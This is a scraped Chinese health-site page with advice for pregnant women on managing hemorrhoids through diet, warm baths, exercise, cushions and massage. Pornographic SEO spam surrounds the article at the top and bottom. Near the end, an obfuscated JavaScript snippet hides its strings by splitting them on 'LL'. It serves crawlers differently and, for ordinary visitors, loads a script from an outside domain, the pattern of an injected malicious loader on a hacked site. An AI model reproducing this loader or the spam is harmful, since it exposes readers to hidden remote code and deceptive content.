久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 母嬰 > 懷孕知識 > 正文

孕期犯痔瘡該怎么辦好呢?

2017-05-05 00:24:17  來源:360常識網   熱度:
導語:大多數的女性在懷孕的時候,身體的免疫能力都會有所下降,這個時候身體很容易出現各種疾病,比如痔瘡,他會給孕期的女性帶來很多的不適,并

大多數的女性在懷孕的時候,身體的免疫能力都會有所下降,這個時候身體很容易出現各種疾病,比如痔瘡,他會給孕期的女性帶來很多的不適,并且,女性在懷孕的時候,又會擔心藥物會給胎兒造成不良影響,在治療的時候也應該要有所注意,孕期出現痔瘡最好是能夠從飲食上進行調理,下面小編來介紹一些比較有效的調理方法。

1、堅持合理飲食

要多吃富含膳食纖維的蔬菜,如芹菜、韭菜等,多吃有潤暢通便作用的水果,如蘋果、桃、梨、香蕉、瓜類等。飲食結構要平衡,注意粗細搭配。養成定時排便的好習慣,這點非常非常重要。

禁吃辛辣有刺激的食品,如酒、辣椒、花椒、胡椒、姜、蔥、蒜等,少吃不易消化的食物,以預防便秘,否則用力排便會對血管施加壓力,造成痔瘡出血,使得痔瘡加重。若有排便困難,可食用蜂蜜或一些含植物油的食物,如芝麻、核桃仁等。

2、溫水坐浴

由于痔瘡會引起疼痛,每日可局部熱敷2-3次,并輕輕按摩,這樣有助于緩解肌肉的痙攣,從而減輕疼痛感。

3、用軟膏栓劑治療

使用軟膏栓劑時,必須注意用藥安全,向醫生咨詢清楚。一些含有類固醇和麝香的藥物要避免使用。

4、每天堅持鍛煉

進行規律的盆底肌鍛煉,有利于改善盆底血液循環。如做提肛運動,具體方法是并攏大腿,吸氣時收縮肛門,呼氣時放松肛門。如此反復,每日3次,每次30下,以增強骨盆底部的肌肉力量,有利于排便和預防痔瘡發生。

5、用特定的墊子緩解局部的疼痛

買個痔瘡緩和型坐墊,坐下前墊到椅子上,能有效緩解局部疼痛。

6、按摩療法

按摩部位有兩處,即肛門和腹部。

肛門按摩:大便后用熱毛巾按壓肛門,按順時針和逆時針方向各按摩15分鐘,改善局部血循環。

腹部按摩:取仰臥位,雙手在下腹部按順時針和逆時針方向各按摩15次,每日早晚各進行一次,有利于排便,防止便秘,有利于痔瘡的好轉。這一療法可以幫助食物通過腸道,有助于預防便秘出現,后者在痔的形成中起重要作用。

為了能夠有效的避免出現痔瘡,女性在懷孕的時候最好是不要長時間的坐著,盡量可以進行一些適度的戶外活動,其實還應該要注意衛生,尤其是在大便以后,最好是能夠選擇,安全舒適的紙巾,然后用溫水來進行清洗,平時還應該要養成良好的排便習慣。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 在线欧美色 | 亚洲欧美在线人成swag | 日本亚洲精品一区二区三区 | 99亚洲| 久久久久av| 精品国产免费久久久久久尖叫 | 一级黄色录象片 | 亚洲黄色成人网 | 久久51| 国产精品久久久免费看 | 国产情侣在线视频 | 欧美精品一区二区三区在线 | 无遮挡又黄又刺激的视频 | 欧美成人精品一区二区男人看 | 精品国产乱码久久久久久88av | 精品国产乱码久久久久夜 | 欧美综合视频在线观看 | 欧美精品在线一区二区 | 日韩免费av网站 | 国产一区二区精品在线 | 黑人巨大精品欧美一区二区 | 国产精品伦理一区二区 | 成人欧美一区二区三区黑人孕妇 | 黄色a视频 | 中文字幕国产在线观看 | 青青草视频免费观看 | 久久成人免费视频 | 午夜在线影院 | 九九热九九 | a级毛片观看 | 欧美激情在线观看 | 国产精品片aa在线观看 | 午夜国产一级 | 欧美国产亚洲一区二区 | 久久久久久久 | 欧美视频二区 | 一区视频在线 | 天天天干干干 | 国产精品福利一区 | 91爱啪啪| 免费在线黄色电影 |